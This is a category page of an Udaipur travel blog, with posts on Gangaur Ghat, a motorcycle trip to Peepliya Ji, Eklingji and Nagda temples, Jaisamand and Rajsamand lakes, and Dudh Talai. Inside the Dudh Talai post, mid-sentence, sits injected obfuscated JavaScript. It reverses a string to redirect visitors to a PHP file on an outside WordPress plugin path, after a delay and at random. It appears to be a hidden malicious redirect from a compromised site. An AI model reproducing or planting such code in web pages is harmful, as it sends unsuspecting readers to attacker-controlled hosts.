Category: Places to Visit

If you are one of those tourist or even a local who does not have much idea about the tourist attractions of the city, offbeat places to travel, historical places in Udaipur, and the religious and cultural places in the city, then this surely is the right place for you to be at.

Whether the place you are going is worth visiting or not you will get every bit of information of places in Udaipur here in this section. If you are a tourist we exactly know what you want. All the places, timings, map and important information related to it that we do not want you to miss. If you are a local, then also we have something for you. From hidden places in the city to lesser known facts about them, this section has covered all the information for both the local people as well as the tourists.

Places to Visit Udaipur Speaks

Two reflections of Gangaur Ghat : What do YOU think?

Post author By Guest Author @UdaipurBlog
Post date April 17, 2015
No Comments on Two reflections of Gangaur Ghat : What do YOU think?

What is Gangaur Ghat?

Ghat (noun) a flight of steps leading down to a river or a lake.

A ghat is a place at the banks of a lake or a river which is generally used by the locals to bathe and wash their clothes. Ghats are also used by the locals for the celebration of the Hindu Festivals in India. Gangaur Ghat is definitely one of the most scenic and beautiful destinations in Udaipur. Its name was originally taken after the most popular local festival of Udaipur called ‘Gangaur’. Located in the heart of the city by the side of the Lake Pichola, it is just a few minutes drive from any part of the city. Although reaching the ghat can be difficult at times when you are in a four wheeler, the roads leading to the ghat are narrow and busy – try not to get stuck!

He says: (Angad, Udaipur)

Sitting by the lake on the Gangaur Ghat, Udaipur is beautiful. And once it becomes evening and the lights begin to shine, it’s the cherry on the cake. Spending a busy day in Udaipur working or learning or whatever you do, an evening at the Gangaur Ghat is something for which my words will always be short. Sitting and enjoying the calm breeze and listening to both upcoming musicians and traditional musicians playing folk music is the best way to relax. And if not, simply plug in your earphones and click some of the coolest pictures of Udaipur, because that’s what I do every day!

But we all know that every coin has two faces and that’s exactly the same case with the ghat too. There are aspects which need serious improvement; it is filled with stray animals, be it dogs, cows and even bulls. Having no other shelter these animals have made ghat their home. Additionally, the pollution which comes from locals bathing and washing is contaminating the water and leaving a nasty residue.

On a more positive note once again, discovering the inner you at the ghat is one of the nicest ways to enjoy it. Just being you, one can create some of the best stories for their life, which can be as old as the ghat is. And if someday you are not in the mood to create your own story you can be a part of someone else’s story. As a friend of mine told me, she loved becoming part of a Spanish couple’s story.

Being at the ghat allows you to open your mind to your thoughts and concerns that day, I know this through personal experience – you can spend hours sitting at the ghat and you don’t want to get up and go home. It has given me some amazing experiences; I would just like to say I Love You #GangaurGhat.

She says: (Lucy, UK)

While throwing out words to describe Gangaur Ghat for this article, “calm” was not top of my list. Try “mayhem” or “circus” and we’re along the right lines. Sure, on a quiet day or early in the mornings, it’s easy to feel at peace admiring the tranquil waters or the echoes of detailed architecture. But on a busy day, arriving as a light-skinned tourist from the UK? Think again. The only echoes you’ll be hearing are a thousand enthusiastic voices asking “What country?” or “One photo?” A quick survey of my fellow backpacker’s opinions in our guesthouse affirms my thoughts, with one response from my Puerto Rican pal; “It’s a mad house!”

That’s not to say I don’t adore it – I do, I love the energy, the diversity, the absurd scenes that only India can pull off. I love watching the way the colours change throughout the day; I love the beautiful buildings and their shadows. I love watching the kids playing games, swimming in the water and stuffing bottles down their shorts to help them float.

Despite the litter and pollution, as a foreigner, the cows and skinny dogs munching on plastic add a charm that few countries could get away with. The positives and negatives of the ghat come together in a strange sort of harmony for me. In a totally different way, I too, love you! #GangaurGhat.

They both say:

However you feel, the one aspect we think everyone can agree on is the unbelievable creative platform that it provides. It’s hard not to feel inspired by the medley of music, artists and musicians; groups of youths clustered around guitars, melodic poojas, the nostalgic sounds of a sitar blending with bicycle bells and chattering voices making an incredibly unique soundtrack. Not to mention the perfect combination of the water’s reflection, captivating activity, beautiful buildings to motivate and channel anyone’s inner photographer. It’s a space to tell stories, be alone or come together, make friends and connect with others. As we sit writing this, we are inspired by the scene around us – perhaps our next collaboration project is here, hiding behind a lens or harmonica?

About the Authors:

Lucy Hemmings:

Half English, Half American, Lucy is the author of www.lucysmilesaway.com. She has spent the last six years travelling. She has spent a lot of time travelling in Asia (specifically India) and Europe, interspersed with trips back to the United States. You can catch her on: Facebook, Instagram and Twitter.

Angad Soni:

Smart & Talented Student from Udaipur, about to pursue his MBA from Bangalore, You can catch him on Facebook

Tags angad soni, gangaur ghat, gangaur ghat in udaipur, ghat in udaipur, Lucy Hemmings

Places to Visit Travel

[FT-RJ27] Parallel-O-Green {Towards Peepliya Ji}

Post author By Jeo George
Post date November 16, 2014
4 Comments on [FT-RJ27] Parallel-O-Green {Towards Peepliya Ji}

The Fueled Tales of RJ27

PARALLEL-O-GREEN

We head on to compare a man-made alteration of a green destination, Saheliyon ki Baari, with a God’s raw creation of the same theme, Pipliyaji Valley:-

In my heydays of childhood, apart from making me digest the yucky bitter-gourd and the glasses of bournvita-bathed milk, my mother used to make me absorb some sensible quotes and recitations in the corners of my brain too. One such thought was – “The earth does not belong to us, we belong to earth.” We are guests here, it welcomes us, departs us and then welcomes our successors. It goes on like that. But the rolling cycles of ages made me realize that only within the moment of time represented by the present century has one species – human – acquired significant power to alter the nature of his world. Yes, it is we, the mankind, which has been given the paramount duty to preserve the God’s most comprehensive creation – the planet Earth. And we do it in two ways – either to preserve the nature in its purest, indigenous form without any single alteration, or to modify it by fostering our talent to create our own synonym of the same nature. Which then made me think that which version of the nature is more alluring – the Man-made or the God-made? Is the color green influential and parallel when we take in account both the places? A pretty puzzling quest I must say. I tried to find an answer to this confusion in my own way – zipping up my riding gear, picking up the keys of a motorcycle and kick it off to play with it. And to add up the zest of companionship at pillion, I had my friend Aman with me as well.

They say – Charity begins at home. So, for this particular task, I was, err, humble enough to lend myself my own ride, a 2008 Yamaha Gladiator, wrapped in ‘Fiat Yamaha’ livery of MotoGP Racing series. The bike is fully customized by myself, thanks to my devotion for the God of MotoGP, Valentino Rossi. And that’s the reason why I fondly call it ‘The Doctor’. (For who are still unaware about what the stuffs are these MotoGP, Valentino Rossi and ‘The Doctor’, I strongly recommend you to watch a MotoGP bike championship race on the ‘idiot box’ or internet, at least for 10 minutes!)

We started our run for the oblivion first with the man-made adaptation of the psyche of nature in Udaipur, Sahelion ki Baadi. Legacy says that this beautiful park flooded in color green and decorated by the sprinkles of water was made by Maharana Sangram Singh in 18^th century for his queen and her 48 woman acquaintances (sevikayein) which accompanied her as her dowry. ‘His highness’ created this window to the world of natural beauty to make them feel relaxing out of the rather complex windows of the gargantuan court rooms, hence the name this place got which means ‘Garden of maids’. And oh boy, what a gem of window is this! The park is beautifully adorned with the green grass and colorful flowerbeds and you will enjoy getting indulged in counting the innumerable sprinklers or mini-fountains. The exquisite water pools, tastefully created marble elephants and kiosks and the subtle marble flooring and pavilions, all amplify out the architectural bells and whistles. This made me adore the zenith – To what extent can the imaginations of a human mind and soul combine up to produce such a sublime stature of nature!

Sure I have been to this place for infinite times, but this time around, I found this place to be too refreshing and new, considering I was here after whole 7 years. So the faded memories obviously sparkled back to life. While my popped up eyeballs were busy capturing the panaromic view of this captivating place in the hard disk of my soft memory, they scrolled over my bike at the parking lot as well. It began to prompt up my curiosity – if humans can carve out such a charismatic framework out of their brains, then how powerful can be the Almighty God’s creation! The soul of petrol in fuel tank then began to ask mine – shall we kick in then? And what mine responded – Hell yeah, indeed! After clicking some nice shots, I and Aman decided to begin our ride towards possibly the best untouched creation of God in Udaipur, Peepliyaji Valley. According to the route proposed, the distance was 32 kms, which was long enough to make up our evening filled with scenic pitstops and plethora of fun.

So, quickly, we prodded the ‘self starter’. Luckily for us, the in-city traffic was not that weary as that of say, Bapu Bazar or Jagdish Chawk, while passing through Mallatalai and Radaji Chauraha. Then, came the small archaic colony of Rampura Chauraha, which acted as the gates to our ode to nirvana. And we consider ourselves blessed that at this place, we witnessed the exciting street drama by the local artists, which in local language, we call “Gawri”. The art portrayed by the villagers through the fascinating characters was cheerful enough to fuel up our zeal for the ride further. With the passing of digits on odometer of my bike, what we began to witness were the countryside narrow roads surrounded by prolific trees and grasslands. The roads are full of twisties, which ignited me to do some serious ‘knee downs’ on those corner sections, but since I had Aman on the pillion seat, those were a big no-no.

After crossing those numerous twisties, came water canals flowing besides the road and some hilly sections. Needless to say, it made for some pleasing digital shots which Aman captured on his Canon EOS 600D. Then, we decided to head off to our next pitstop at Ubeshwar ji, which was roughly 6 kms before our final destination. But what came before Ubeshwarji were the interior village areas and some intimidating ghat sections, which presented us one of the most photogenic elevated views of Udaipur. The convoy of hills in a disciplined line were in a perfect symphony with the rich green meadows, which made me feel that how graciously God did his homework while creating Pipliyaji.

After performing the rituals of photo-sessions, we pursued our ride back and reached the pitstop of Ubeshwarji, which is just 2-3 kms from the point where the aerial ghat sections end. Ubeshwar Ji, or Ubeshwar Mahadev Temple – a temple of Lord Shiva. After seeking the blessings of Mahadev, we savored what is said to be a biker’s favorite beverage – Tea time it was! The ‘chaiwala’ at his thadi outside the temple was kind enough to make us quench our thirst, which along with a packet of Parle-G was an absolute bliss to say the least. The cutting chai was energizing enough to brace ourselves for the final leg – Pipliyaji.

This was the leg of our drive which I can easily call a ‘tranquil territory’. The aura and silence of the roads to Pipliyaji are mesmerizing enough to make you forget all the huffs-and-puffs of your hectic college assignments or business targets in your daily city life. The curvaceous roads and green roadsides with absolutely no traffic make you feel that wish you had the superpower of piling up the bank accounts, sign off the resignation letter, build a treehouse and farm there for the rest of your life. That’s the ambience of the route. The meandering roads towards our final destination gives a serene valley view, which is at its best during light drizzle of monsoons, as you will love the marvelous company of the clouds at such a height.

And then came our final point, our destination. Though the hilly roads head straight to the remote village of Pipliyaji, but what was of our concern was the deep valley which is a view of the other side of the Udaipur less traversed. There is a small deviation in right while on the road to the village area, which leads you to a rocky plain. I parked up my bike there, switched off the ignition and was lost in the serenity of this place. Everything, from the setting sun and it’s light falling over the Aravallis, the bird’s eye view of the villages beneath the valley, the dense green forests and your screams echoing back to you by the hills, are purely mystical. The duration of 30 minutes I spent here just gazing the valley view and breathing in the pure oxygen of that place made me feel how eloquent God’s magic wand can be. But then it was the time of signing the cheque of decision, and I was still bewildered – which seems to be more adorable – the man-made brilliant art at Saheliyon ki Baari or the God-made nascent creation of Pipliyaji. But then something clicked my mind, that humans too are creation of God. And this fact, my friends, was influential enough to seal up the debate. Amen!

Tags aman bhandari, FT-27, FTRJ27, jeo george, peepliya ji, pipliya ji, radaji choraha, Saheliyon Ki Bari, ubeshwarji

Places to Visit

Ekling Ji Temple – A Quintessential Mewar Glory

Post author By Pragya Joshi
Post date January 2, 2014
3 Comments on Ekling Ji Temple – A Quintessential Mewar Glory

Twenty two kilometers North-East of Udaipur, chiseled out of sandstone and marble, in a remote pass en route to Nathdwara is a Shri Eklingji temple. It is famous for its 108 temples enclosed by high walls is devoted to this tutelary deity of the Maharanas of Mewar. This temple is really fabulous and shows all the glory of the ancient Rajput Kingdom in its pristine way. It is the foremost of the four major pilgrimage sites of Mewar. It is 1300 years old and was built in 734 A.D.

History :

Bappa Rawal, the founder of Sisodia clan in mewar, is said to have received religious education from a sage Harita Rishi here. The original temple was built here by him, but it has since been rebuilt and refurbished by successive maharanas. Ever since Bappa Rawal’s reign, the temple of Eklingji is regarded as the personal deity temple of the royal family of Mewar. It is said that Bappa has become such a firm devotee of Eklingji that he placed his entire kingdom at the feet of the deity. He proclaimed Eklingji as its ruler and regarded himself as the dewan or agent of the deity, ruling the kingdom on behalf of the deity. Several times the temple was attacked by the invaders. Maharana Mokal started the renovation of the temple and later it was re- built by Rana Rai Mal. The Udaipur maharanas regard themselves as Dewanji (ministers) of Eklingji, a manifestation Of Lord Shiva. The deity is regarded as the real ruler of the state and any power that the maharanas possesses is by virtue of his king. Another temple in the complex is the Lakulish Temple, bult in 971 A.D. It is the only temple of the Lakulisha-Pashupatas. Sect in the whole India. A large lake is situated near this temple of Eklingji Mahadev. This Lake is known as Indrasagar Lake. There are many ancient temples of Lord Ganesh, Laxmidevi temple, and the Bhairavnath temple at the shore of this lake.

Living Testimony of Virile Artistic Talent

The main temple, built of marble and granite, covers an areaof about 2500sq. feet and is about 65 feet in height, has a huge ornate mandapa (pillared Pavilion), under the canopy of huge pyramidal roof composed of hundreds of knots and crowned by a tall tower. In the sanctuary is a the four faced Shiva carved in black marble, of which the east symbolises Surya (Sun), the west-Brahma, the north-Vishnu, and the south-Rudra. The influence on the architecture is clearly that of the Solanki style of Gujarat. A statue of Bappa Rawal, standing with clasped hands, faces the image of Eklingji. Outside the temple is a porch and roofed courtyard supported by the columns with a big bronze statue of Nandi, the attendant bull of Lord Shiva. Two big white statues of elephants stand before the main entrance. A full size statue of Maharana Bhim Singh is also erected in front of the sanctum in a devotional posture. The Shikhar of the temple is 50 ft. high and has a circumference of 60 ft. The sanctum sanctorum has four doors in all the four directions and the door steps are jutted with gems. On each gate there is Nandi (bull) statue facing the idol. In the Western and southern gate the door frames are silver covered. The sunlight comes from the western gate and there is a silver made imade of Lord Surya above the gate. Eastern gate has stone lattices to laid the fresh air. On the northern side of the temple there are two tanks namely as Tulsi Kund and Karz Kund.

Custom & Traditions of Temple :

The temple belongs to the Maharanas and the pooja is performed in a royal manner. Hindu pilgrims come here from far places throughout the year to worship the Lord Eklingji. The descendant of Mewar Dynasty comes here on every Monday to offer their prayers to Lord Eklingji and to seek his special blessings. The temple is largely visited by the hundreds of devotees at the time of Shivaratri, the most significant festival of the temple. The string of religious traditions starts from the early morning including maha aarti and puja. The merriment of the festival continues for two days with a reverential spirit.
The Temple is very grand and magnificent in conception and perfect in execution.

About the Eklingji Trust :

The Shri Eklinji trust was created by Maharana Bhupal Singhji of Mewar, in April 1955. There are provisions made for the restoration and conservation of temples and traditional religious ceremonies. Presently the trust functions under the chairmanship of Shriji Arvind Singh Mewar of Udaipur. A documentation of a project city within a city is in progress and lack of rupees may be spent on this.
Timings:
Morning time: 4.30 am to 7.00 am and 10.30 am to 1.30 pm,
Evening time: 5.00 pm to 7.30 pm

—

Darahan Timings of Shri Eklingji

From 11/05/2013 to 17/11/2013

।वैशाख शुक्ल प्रतिपदा से कार्तिक शुक्ल पूर्णिमा तक।

Morning Starts : 04:00 o’clock

Noon Starts : 10:30 o’clock

Evening Starts : 05:30 o’clock

From 18/11/2013 to 01/03/2014

।मार्गशीष कृष्ण प्रतिपदासे फाल्गुन कृष्ण अमावस्या तक।

Mornting Starts : 04:30 o’clock

Noon Starts : 10:30 o’clock

Evening Starts : 05:00 o’clock

From 02/03/2014 to 28/05/2014

।फाल्गुन शुकल प्रतिपदासे वैशाख कृष्ण अमावस्या तक।

Mornting Starts : 04:15 o’clock

Noon Starts : 10:30 o’clock

Evening Starts : 05:15 o’clock

N.B.

1. Darshan keeped open during pooja time.

2. Opening time is fixed but closing time for darshan is not fixed. Pooja takes 02:30 (hh:mm) to 3:00 (hh:mm) time in every phase.

3. Generally darshan are opened 15 minutes earlier and closes 15 to 20 minutes late on every Monday and every Shani Pradosh day.

4. Mostley times are maintained but they can be changed on special days such as Shivratri, Patotsav etc.

5. Please Note that special Puja of Srhi Eklingnath Ji is made during Grahan time in North India (Specially in Rajasthan)

6. Please consider this time table as guide lines. We do not accept any reponcibility for changes in timings.

7 .Temple opening timings are decided according to the seasons of Summer, Winter, Spring as well as according to the Hindu Mewar Calendar.

Find More Temples in Udaipur

Inputs by : Shakti Singh Dulawat

Tags Ekling Ji Temple, Eklingji Trust, Shriji Arvind Singh Mewar

Places to Visit

Nagda – Succumbs To Pristine History

Post author By Pragya Joshi
Post date November 24, 2013
1 Comment on Nagda – Succumbs To Pristine History

Nagda is a sonorous place bestowed with its isolated parameter and synergies. This place imparts its own temptation and unfolds the nature’s senses. It is a petty village sprinkled with the beautifully carved temples. 20 km away from the Lakecity – Udaipur and located next to the Bagela Lake rests a small segment of the ancient Mewar -Nagda found by Nagaditya in the 6th century was once the capital of eternal mewar. Nagda was plundered by Altamash between 1222 and 1229 A.D., it is dotted with scenic spots and is in the lap of the Aravallis, are a group of 108 temples.The most important temples that have survived the test of time are the Saas-Bahu temples of the 10th century.

Sas-Bahu Temple – An Architectural Marvel

Dedicated to Lord Vishnu, the Saas Bahu Temples are intricately carved, ornamented and decorated with attractive figures and sculptures. This complex is situated near agriculture field and a small water body making the whole place very atmospheric. Built in the late 10th century, the larger temple, Sas, is surrounded by ten subsidiary shrines and has a torana (archway) in the front and it is more profusely decorated than the smaller Bahu temple which has four shrines and has an octagonal ceiling. They have been raised on a common terrace to face east, towards the tank. The entrance to the temples is through a pancharatha sanctum, hall with lateral transepts and porch, enclosed by a decorated balustrade. The exterior is plain have a resplendent seated icons on the cardinal offsets of Brahma, Vishnu and Mahesha surmounted respectively by Rama, Balarama and Parasurama which appears to be a real stumble upon with God. These sculptures are intelligently molded in two steps, one encircling the other. The relief figures include male and female deities, damsels, regents, ardent panels and scenes from the holy Ramayana. Among the remaining ruins, one on the north-east is intact with its beautiful stone spire. The niches on its walls harbor images of Brahma, Vishnu and Shiva on the east, north and west faces respectively. Statistically, these are assignable to the last quarter of the tenth century A.D.

Consequently, in the fifteenth century, the Guhila king Mokala, constructed a large lake after the name of his brother Bagh Singh, at this place.

Adbhutji – Strange temple

The Jain temple of Adbhutji was built during Rana Kumbha’s rule houses a nine-foot high black marble image of the Jain saint Tirthankar Shanti Nath, which enshrines inside, built by Oswal Jain ‘Sarang’ in 1437. The idol is in sitting posture and has created a great deal of awe amongst the locals. It is a strange idol and was destroyed by the foreign invaders.

Both these temples were built on the edge of the lake, fringed with hills. Submerged within the lake are several later structures, like Baghela tank, the ruins of Nagda town, the Indersarower, the Cave of Bhara Hari, the temple of Harit and the Samadhi of Bappa Rawal. This place is ASI protected and reconstruction work is painstakingly carried out.

It is a place of exceptionally well laid carvings and cuttings, one above the other, they are so mesmerizing that one can just loose himself into the flamboyant bequest of our land. It is reached down a rough country road, about 1 km. from the hill on which stands the famous Ekling ji temple.

Today, Nagda remains famous for the ruins of Vishnu, Shiva and Jain temples all that are left of this ancient city. But one can still marvel at their original splendor, the artisan and the perfect geometry that must have been the hallmark of that bygone period. Made of Granite, the carvings and deep inlaid work are remarkable and even today have withstood the passage of time and the vagaries of weather.

Photos By : Priyansh Paliwal , Yash Sharma

Tags adbhutji temple, nagda, nagda udaipur, places to visit in udaipur, saas bahu temple, udaipur places

Places to Visit

Jaisamand Lake – A Limitless Profound

Post author By Pragya Joshi
Post date September 25, 2013
No Comments on Jaisamand Lake – A Limitless Profound

Jaisamand Lake is a comprehensive bounty which lures the beholder to measure the depth of the nature. It is an acquaintance of water which recesses the amiable, placid intrusion into an unmatched experience of paradise. It is also known as Dhebar Lake. The lake was built by Maharana Jai Singh in 1685 utilizing the waters of Gomti River and is the second largest artificial lake of the world, after Aswan dam in Egypt, extending over an area of thirty-six square kilometers. Nine miles in breadth, 102 feet deep and having a circumference of 30 miles. This Marble Dam is 300 Meters long and is a part of the “Heritage Monuments of India“. It is situated on Banswara road, 48 km away from Udaipur at the coordinates 24°16′N 74°00′E.

During the reign of Maharana Jai Singh the lake was constructed to fulfill the great need for water for cultivation in Mewar’s southeastern corner, and it was named after him. The work of this dam was started during his regime but was completed in later years.

It consists of eleven islands some of which are inhabitant by the tribe of Bhil Minas. Two bigger islands are known as Babaka Magara and a smaller one is called Piari. Marble staircases lead into the water, and along the shoreline are several marble chhatris. When the lake was inaugurated on June 2, 1691. Maharana Jai Singh distributed the equivalent of his weight in gold to the people of the adjoining regions as per the chivalry of the medieval period. The northern end of the lake has a palace with a courtyard while its southern end has a pavilion of 12 pillars. The lake also boasts of six interesting cenotaphs carved from marble on its embankment. Rana Jai Singh’s palaces, Hawa Mahal and Ruthi Rani ka Mahal, are set in the foothills overlooking Jaisamand. The summer palaces of the Queens of Udaipur surround Jaisamand Lake on all sides. On the embankment, there are six beautiful chattaris built at intervals and a temple of Narmadeshwar Mahadev. In front of these chhatris ,stands a beautifully carved elephant on a pedestal, with its trunk upwards.

Jaisamand Lake is a main water supply for the city of Udaipur. The gross basin area up to the Jaisamand dam site is 1787 km2. Droughts are a normal feature of the basin and extreme events have become more frequent in recent decades.These lead to an excessive use of lakes and reservoirs. And in 1999, officials statistics shows the augmented use of the dead storage and the reserved water which were to be used only in cases of dire emergency. These same estimates confirm that, in the next few year, even the dead storage will be completely exhausted. In the monsoon of 2006 excessive rains and subsequent overflow of small perennial waters in the catchment caused movement of advance size yearlings into the lake Jaisamand. To water many cities a project of pipeline installation from Jaisamand is made.

Kingdom for Wilderness Unplugged

The surrounding area which is at its most lush in October, soon after the monsoon, is now a wildlife sanctuary which was built in 1957, sprawling over sixty-four square kilometers and is rich in fauna with counts of over 300 bird species.. Attracted by the expanse of water of Jaisamand lake, a host of small birds, local and migratory, habitate the sanctuary. The four-horned antelope, chinkara, chital, wild boar, samhar deer, spotted deer, gazelle and panther are also found here. The sanctuary has also enabled the endangered Indian wolf to breed. The forests used to be a favorite hunting ground for the former rulers of Mewar,

A drive from Udaipur to Jaisamand provides an enchanting view of tall trees on both sides of the window road. A tourist bungalow, a forest rest home and a Baba island resort provide accommodation to the enthusiastic wildlife watchers. This epstile is from seat of Nature. The tourists can even enjoy the beauty of the lake by motorboats. A thirty minute boat ride allows one to see chug across the pristine waters of the Jaisamand Lake. On the top of the two nearby hillocks are the two old palaces constructed by Maharana Jai Singh, which provide an excellent view of the lake.

Tags jaisamand, Jaisamand lake, places to visit, places to visit in rajasthan

Places to Visit

Lake Rajsamand : A Meadow of Azure Depicting Rusticity

Post author By Pragya Joshi
Post date August 7, 2013
No Comments on Lake Rajsamand : A Meadow of Azure Depicting Rusticity

Rajsamand Lake is an epitome of didactic work done by the princely states for the well concern and revampment of society and economy, which could be easily traced by its sun gold essence of gleaming ethics and serenity. This is a massive lake with well built Ghats. It is one of the largest artificial lakes of medieval period. It is a place of small gust of pleasure, where sun shades the waters the lake, precisely pedestrianized and stuffed with beautiful arrays of silver linings is bestowed to the town Rajsamand. The lake contours about 1.75miles wide, 4 miles long and 60 feet deep, having coordinates 25°4’14″N 73°53’15″E.

The fabulous site of this tarn was the result of a dam constructed across the river Gomati, Kelwa and Tali was debuted by Maharana Raj Singh I in the years 1662-1676 with elaborated structures of Jharokas and jettings. The catchment area of the lake is approximately 508 square kilometers.

Why was it Constructed?

The major reason for construction of Lake Rajsamand was to overcome the problem of drought and to render employment for victims of a widespread drought and famine in the year 1661, and to provide canal irrigation to local farmers. It is among the oldest relief works done in Rajasthan. The digging of this foundation began on January 1, 1662. Construction of the actual dam began on January 14, 1676. Mukund Jaggatnath was one of the main architects. It was built in Indo –Persian style and materials used for the construction were stone, rubble and masonry. River Gomti is the main supplier of water to Rajsamand Lake.

rajsamand lake

Architecture & Design:

On the bank of the Dam three mandaps were constructed out of white marble, each mandap has three chokies. The first mandap has very interesting scenes where a newly wed girl is departing from her husband’s house. The villagers are seen in sad postures. It is shown that the husband is dragging the wife; the camel of the camel cart is also seen in a sad posture. The second mandap has a scene of animal fighting. The fight of Elephant with Horse is depicted.

On the southern end of this lake their lies a large embankment 183 m. long and 12 m. high, known as Nauchowki or the nine pavilions. It is believed that the dam measures nine hundred ninety nine feet in length and ninety-nine feet in breadth. Every step measures nine inches and there are nine white marble cenotaphs build on the dam. Each of these cenotaphs is nine feet in height and is at nine degree angle from each other. This embankment has marble terraces and stone steps touching the lake and is dotted with five toranas or weighing arches and chhatris (cenotaphs). The colonnaded pavilions are decorated with depictions of the sun, chariots, gods, birds and dancing girls, exquisite carvings that are claimed to be unique in India. It is overviewed by the Dwarikadhish temple and from the Kumbhalgarh Fort the vista it glitters with gushing water is as captivative as scarlet is. This place is also considered to be the one where Maharana Raj Singh and his descendents organized the event of Tuladan: they were weighed in jewels and gold, the cash value of which was distributed among Brahmans for the construction of temples and tanks for the welfare of the people. The history of Mewar is also inscribed here in 107 stanzas, on its 21 marble stones known as ‘Raj Prasasti‘ an epic by Ranchhor Bhatt. It has also been acclaimed as one of the longest etchings in India. The epigraph has given lot of historical, commercial, civil, educational, weighing system etc. to carve out the history and to bring the different shores of historical facts together. The Rajsamand was also the scene of a desperate battle in the late 17th century between Mewar and the Mughal emperor Aurangzeb. The Mugals destroyed the torans and ruined all the carvings on the mandap. During World War II, Rajsamand Lake was used as a seaplane base by Imperial Airways for about six years.

There was no provision for sluice gates, at the time of construction of the lake. Irrigation water was supplied by means of a lift irrigation system. The first sluice gate canal was built by the British people, it is 8 km long, and after independence in the 1960s, an ambitious second one was added, which was 35 km long.

Preposterously, in the year 2000, the lake came into the verge of its existence it was just a barren land of rocks and weeds and residents used the Nand Sagar Lake located about 15 km upstream as a substitute then fortunately on the passage of time the monsoon refilled it. Now the Lake Rajsamand has been used for irrigation and its canal network services are used to provide water to 42 villages covering an area of 7,284 hectares. The villages viz.: Peepli, Mohi, Kuwariya, Bhava, Rupakheda etc. are the regular connectors of this water.

The charm exuded by the unparalleled beauty of the Rajsamand Lake is infectious and the tourists are attracted to this place. It has genuine beauty of its own, especially when women clad in hues of yellow, green, purple accommodate the lake on the festive of Gangaur and Teej. The provocative thing of this place is its purity of water, the shimmering and dancing rays of sunbeams of the settling god and the colour changing water beckons the tourists to its charm by over whelming their hearts.

Photos By : Hemant Paliwal

Places to Visit

Dudh Talai – Deliberate Potency of Aestheticity

Post author By Pragya Joshi
Post date August 1, 2013
1 Comment on Dudh Talai – Deliberate Potency of Aestheticity

Doodh Talai $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Lake Pichola

Dudh Talai is a dainty lake in Udaipur studded with enhancements of human pleasures. The lake beautifies the south-east part of Lake Pichola and has an affable view from the twinkling places like City Palace, Jag Mandir etc. The small inlet of this lake, contributes its water to the larger lake Pichola. This place is unique with the presence of conspicuous view of Shiv Niwas Palace on its southern side and is adorned by two parks which adds grace its shore. M.L Verma Garden and Pt. Deen Dayal Upadhyay Park are showcase of modern architecture and allows one to stroll along its beauty. It is located at the coordinates: 24°34’8″N 73°41’9″E

Manikya Lal Verma Garden :

The Manikya Lal Verma Garden or the Rock Garden, on a hillock near Dudh Talai is the best place to catch a spectacular landscape and is carved out of a rugged rock at an attractive eminence. There are curved stones inducted in the bottom of the garden and the small stream of water goes across through it. It was constructed in year 1995 by Nagar Parhisad (Municipal Council) Udaipur. The blue and white paint is unfortunate but adoption and use as ‘public open space’ is probably the best way of managing India’s brilliant heritage of stepwells. A peep from here gives a panoramic view of sediments of nature. The grandeur of this garden lies in its wall maintained smallness. The scene of dusk, which appears shuddering through the ripplets of the gloomy lake Pichola is astonishing. There are steps constructed to reach to the garden, as well as a separate road for vehicles.

Pt. Deen Dayal Upadhyaya Park :

At the same elevation of Maanikya Lala Varma Park there is another garden called Deen Dayal Upadhyaya Park. It was developed by Urban Improvement Trust (UIT) Udaipur. The lake is horizoned by masterpiece like Pichola Lake on west and the beautiful City Palace in the north and the rocky M L V Garden in east. These places together make a chain of ‘must visit’ tourist attraction of the city. It also has Rajasthan’s first “Musical Fountain” manufactured by “Yagnik Mechanical Engineering Works”. In this colored milieu fountains dance according to the tunes of music. On the other hand it is a sunset point, from where the sun sets in the lap of lake Pichola reflecting crepuscular light.

The Ropeway :

A ropeway to Karni Mata temple was constructed between tourist spot Deen Dayal Park, on the top of hill near lake Pichola and the Machhala Hill. Inside the temple there is a white stone idol of the goddess Karni Mata. It was built by the businessman Kailash Khandelwal in collaboration with UIT. It is a delightful ride of 500 meters over a fixed grip mono cable and is the first ropeway of Rajasthan. It is not just a 4 minute ride but a joyful adventure, the altitude bounded with scenery and the people bouncing in the air is so experiencing that one can just fall in short of words. It gives a breath-taking view of the city including Lake Pichola, magnificent City Palace complex, Sajjangarh Fort and many more, from its cabin. Being the major attraction the ropeway system has also developed the ease to visit the temple and other historical sites at Machhala Hill. The ticket costs Rs.69/- per adult.

To add more attractions for tourists, boat rides and camel rides are also introduced near the Dhudh Talai pond, by Udaipur Municipal Corporation.

Being a famous relaxing spot of the city it offers a serene and scenic environment with beautiful lake side drive and one can spend a very intimate quality time here.

Tags doodh talai, dudh talai, Jag Mandir, karni mata, lake pichola, Manikya Lal Verma Garden, pichola lake, places to visit, Pt. Deen Dayal Upadhyay Park

Places to Visit

Famous Temples In and Around Udaipur

Post author By Ashwini Bagga
Post date June 28, 2013
4 Comments on Famous Temples In and Around Udaipur

Most of us are unaware that Udaipur is also famous for its temples. These temples are visited by several thousand tourists every year. Many tourists visit these temples regularly. The vibrant and marvelous historical background of Mewar region reveals that many of these temples were built by the emperors of Mewar dynasty. Throughout the history; the emperors of Mewar had showcased a blend of courage and spirituality. These are few famous temples of Udaipur and their small stories behind their construction.

#1 Bohra Ganesh Temple

Bohra Ganesh Ji a very old and famous temple of Udaipur is situated near Mohanlal Sukhadia University. A standing statue of Shri Ganesh Ji has been established which bestow blessings to hundreds of devotees visiting every day. In India it is a custom to worship Lord Ganesh whenever something new is started like new business, new asset or starting a new relationship. Wednesday is considered as the special day to worship Lord Ganesha. Thousands of devotees visit Bohra Ganesh Ji temple to offer Prayer and Prasad (Sweets) to Shri Ganesh Ji. Without his worship no holy work is considered to be complete.

#2 Karni Mata Temple

Karni Mata Temple is situated at Machhla Hills and surrounded by the bliss of the nature. Being situated at height, people can enjoy the panoramic view of Lake Pichhola, Dudh Talai and Sajjangarh. The sunset could be enjoyed in the evening from the sunset point built beside the temple. The temple could be reached through the rope way that starts from Dudh Talai or through stairs that starts from Deendayal Upadhyay Park. Maharana Karan Singh made residence at Machhla Magra between 1620 and 1628. During this time the temple was built. For a long time it remained as a deserted place and in 1997 Manshapurna Karni Mata Development Committee renovated it.

#3 Ekling Ji Temple

